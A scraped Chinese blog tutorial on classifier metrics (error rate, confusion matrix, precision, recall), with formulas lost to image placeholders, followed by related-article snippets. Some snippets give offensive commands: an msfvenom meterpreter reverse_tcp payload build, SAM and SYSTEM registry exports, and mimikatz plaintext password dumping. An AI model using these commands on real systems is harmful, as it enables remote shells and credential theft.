分类器性能指标错误率、正确率、召回率

article/2025/11/5 10:17:44

前言

在使用机器学习的方法解决分类问题时,我们通常需要一个指标来衡量模型的性能,以下介绍一些常用的性能指标,在实际应用中可以依照应用需求采用相应的指标。

错误率

错误率是使用最普遍、最简单同时又是最粗糙的分类指标。其计算方法为:
设测试样本集T={(X1,Y1),···,(Xn,Yn)},其中Xi为该样本i的输入特征,Yi为样本的真实标签。
T的预测结果:PY={PY1,PY2,···,PYn},其中PYi表示模型对T中第i个样本的预测结果。

则错误率

这里写图片描述

其实就是所有判断错误的样本数占所有样本数的比例。

错误率十分简单也特别好计算,但是它太简单了,以至于无法显示出样本具体是如何被分错。我们看下面的混淆矩阵就可以一下子知道错误率的局限性。

混淆矩阵

假设有一个图片三分类的问题的分类结果整理如下:
这里写图片描述

对角线上的那些元素表示分类正确的情况,而其中格子表示分类错误的情况。

通过这个表,我们可以很容易的计算出错误率:所有非对角元的元素求和除以整个矩阵的和即可。如果所有非对角元的元素都为0,那我们的模型的就特别完美了!因为没有任何样本被分类错误。

除了简单的错误率外,这个表还能告诉我们我们一些样本是如何被分类错误的信息。例如:有4+9=13条真实结果是狗却被分类成猫和猪的错误分类样例。13/(13+24)约为1/3,说明模型对狗的分类能力并不是很强,有1/3的概率把狗误认为其它动物。

二分类混淆矩阵

上面举例的混淆矩阵一个三分类的混淆矩阵,实际上 混淆矩阵可以用于任何一种分类问题。特别地,当问题是一个二分类时(在回答诸如 不是的问题),混淆矩阵有一些特别的表示方法。

这里写图片描述

真·正例:True positive ,真正的正例,那些预测为”是”真实结果也的确为 “是” 的样例

伪·反例:False Negative,假的反例,那些预测为“否”真实结果为“是” 的样例.这种样例本来就是真的,却被预测为假。

伪·正例:False Positive,假正例,那些预测为“真”真实结果为“否” 的样例。本来是假的,却被预测为真。

真·反例:True Negative,真的反例,那些预测为“否”真实结果为“否” 的样例。真实是假,预测也为假。

这四个有点拗口,但是我们可以发现 ,这四个描述词的主体都是后两个字,而且主体描述的都是预测结果。。例如 伪反例,主体为“反例”,修饰词为“伪”,主体“反例”是指 预测结果为反例,”伪”表示这个预测是的。

正确率、准确率Precision rate 和召回率Recall rate其实都是针对 二分类混淆矩阵的。
其中
这里写图片描述

由公式,正确率反映了那些预测为“是”的样例中实际为“是”的比率。召回率 反映了 所有真实的“是”被预测正确的比率。
构造一个高正确率或高召回率的分类器是相对较简单的,但是一般两者都要很高就比较难构造了。而且单方面的让其中一个高是存在很大的局限性,比如下面两个情况:
高正确率:
高正确率
正确率是100%,表示那些预测为“是”的两个样本都是真实的“是”样例,但是这个分类器性能却很低,因为:102个真实为“是”的样例有100被错误预测为“否”。其错误率其实为:100/102 ,基本没啥实际用处。

高召回率:
这里写图片描述
召回率为100%,也就是说,那些真实为“是”的样例都被预测为“是”了。但是,这个分类器性能还是不高,其错误率为100/(100+200)=1/3。为了追求高召回率,分类器只要对任意输入都无脑输出“是”即可,然而这种分类器的性能是不可能高的。

高召回率、高正确率:
这里写图片描述
高召回率、高正确率的分类结果的混淆矩阵的非对角元元素很小。


http://chatgpt.dhexx.cn/article/EMNvtufl.shtml

相关文章

分类模型的评估标准(精确率召回率准确率)

对模型进行评估时,可以选择很多种指标,但不同的指标可能得到不同的结果,如何选择合适的指标,需要取决于任务需求。 针对二元分类结果,常用的评估指标有如下三个:查准率(Precision)、…

准确率、精确率、召回率、F1-measure

文章目录 准确率(Accuracy)精确率(precision)召回率(recall)F1-measure值学习理解网站 -p’(Predicted)n’(Predicted)p(Actual)True PositiveFalse Negtiven(Actual)False PositiveTrue Negtive 准确率(Accuracy) A No.Samples Predicted Correctly Total No.of Samples T …

评价指标(一)精确率,召回率,F1-score

1. 精确率-Precision、召回率Recall 先来讲一下精确率(Precision)和准确率(Recall),首先要明确一点,精确率不等于准确率(Accuracy),两者是不同的,后面也会讲到准确率。在信息检索里,精确率和召…

错误接受率 (FAR), 错误拒绝率(FRR), 等错误率(EER)

不管是声纹识别和图像识别,以及指纹识别,在评价模型时总要用到这三个指标。下边说下这三个指标的含义。 1、错误接受率 (FAR-False Acceptance Rate) FAR nontarget_is_target / ( target_is_target nontarget_is_target ) 另一种比较容易理解的表示方…

Redis进阶:布隆过滤器(Bloom Filter)及误判率数学推导

1 缘起 有一次偶然间听到有同事在说某个项目中使用了布隆过滤器, 哎呦,我去,我竟然不知道啥是布隆过滤器, 这我哪能忍?其实,也可以忍,但是,可能有的面试官不能忍!&#…

机器学习中准确率、精确率、召回率、误报率、漏报率、F1-Score、APmAP、AUC、MAE、MAPE、MSE、RMSE、R-Squared等指标的定义和说明

在机器学习和深度学习用于异常检测(Anomaly detection)、电子商务(E-commerce)、信息检索(Information retrieval, IR)等领域任务(Task)中,有很多的指标来判断机器学习和深度学习效果的好坏。这些指标有相互权衡的,有相互背向的,所以往往需要根据实际的任务和场景来…

讨教大学|六西格玛之属性值数据一致性分析

相信大家在日常的工作中肯定会遇到这样一种情况:产品的质量特性属于外观特性,即 需要靠人工判断产品是不是符合标准。当遇到客户投诉,或者内部报废率比较高的时候,经 常会遇到客户和领导的挑战: 如何保证员工清楚的知…

布隆过滤器原理和基于BloomFilter的误判率展示

布隆过滤器 布隆过滤器原理 布隆过滤器是由n个Hash函数和一个二进制数组组成。 如图所示(参考,hash函数可以多个) 1.保存操作 发来一个请求数据hello对数据hello经过三次hash运算,分别得到三个值(假设1&#xff0…

布隆过滤器的误判率该如何计算?

作者:胡慢慢滚雪球 链接:https://www.zhihu.com/question/38573286/answer/507497251 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 在计算机中,判断一个元素是不是在一个集合中…

神器 mimikatz - 直接抓取 Windows 明文密码

昨天有朋友发了个法国佬写的神器叫 mimikatz让我们看下 神器下载地址: http://blog.gentilkiwi.com/mimikatz 还有一篇用这个神器直接从 lsass.exe 里获取windows处于active状态账号明文密码的文章 http://pentestmonkey.net/blog/mimikatz-tool-to-recover-cleartext-password…

加密连接数据库明文密码

我的其他笔记有记录过加密算法,这里不一一阐述,用DES对MySQL用户名和密码加密,然后在spring-dao.xml中配置中解密,需要新建一个解密类注册到xml中。 解密类: package com.mlr.util;import org.springframework.beans…

Spring boot 配置文件明文密码加解密

jasypt 是一个简单易用的加密Java库,使用起来非常简单。 现在我们系统中的一些配置文件中密码还是暴露的,打开配置文件,就能看到密码,如图: 这情况我们如果不想让别人看到数据库密码,所以就要对数据库密码进行加解密 通过jasypt 就可以简单实现 使用方法: 以spring b…

spring boot配置文件加密、明文密码加密、properties 和 yml 互相转换

spring boot配置文件加密、明文密码加密、properties 和 yml 互相转换 1.引入maven2.添加配置(yml格式的;properties 和 yml 在线转换)3.找到maven仓库下:org\jasypt\jasypt\1.9.3将内容进行加密4.常见问题及排查方法 1.引入maven…

在Win10系统中用mimikatz抓取明文密码

实验环境 :Windows10专业版 参考了网上的方法,发现大部分都是抄的 https://blog.csdn.net/netsec_steven/article/details/107257325 这一篇文章,都被转烂了,这一篇文章是对的,但是路径上还是有点小问题的,…

meterpreter下抓取windows系统明文密码实验

虚拟机:kali | Win7 工具:msf 1.生成工具 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost192.168.40.140 lport55555 -f exe -o 233.exe 这里需要注意的是IP地址以及端口。 2.监听 启动msf,选择模块,配置信息&#xff0c…

RTX查找本地明文密码

内存密码没有加密,造成能够获取到明文密码 我用的winhex18 1、用WINHEX打开RTX的内存(按altF9) 2、找到前缀为RTX的 3、打开主要内存 4、查找16进制字符串“40000000500061007300730077006F0072006400” 3、password下面就是明文密…

SpringBoot项目配置明文密码泄露问题处理

在项目开发过程中,需要配置数据库连接密码、Redis密码、网盘上传的AK/SK等敏感信息,都需要保存在配置文件里,或者配置中心。 这些信息如果泄露,还是会造成一定的困扰,这里介绍2种处理方案: 1、使用系统环境…

内网渗透(抓取明文密码)

1. 注册表导出 reg save hklm\sam sam.hiv ———> SAM文件reg save hklm\system sys.hiv ———> SYS文件注意事项: 1) 在Windows 2003版本包含2003以上都可以使用该命令 2) 在windows 2003中他会以ltml 3) 都是加密Hash演示: 1)下载mimikatz然后执行:lsadump::s…

域渗透——获取用户明文密码

目录 讲在前面: 一、CredSSP获取明文密码 二、Dcsync获取明文密码 讲在前面: 本文是笔者在学习"三好学生"前辈的文章进而总结的一篇文章,内容主要是在内网渗透中获得明文密码的两种方式。,在笔者看来,两…

Navicat导出链接查看数据库明文密码

测试环境:Navicat Premium 版本15.0.25 理论版本12以上即可。 参考地址:navicat~导出数据库密码 - 走看看 Hutool参考文档 代码 import cn.hutool.core.io.file.FileReader; import cn.hutool.crypto.symmetric.AES; import org.dom4j.*;import java.u…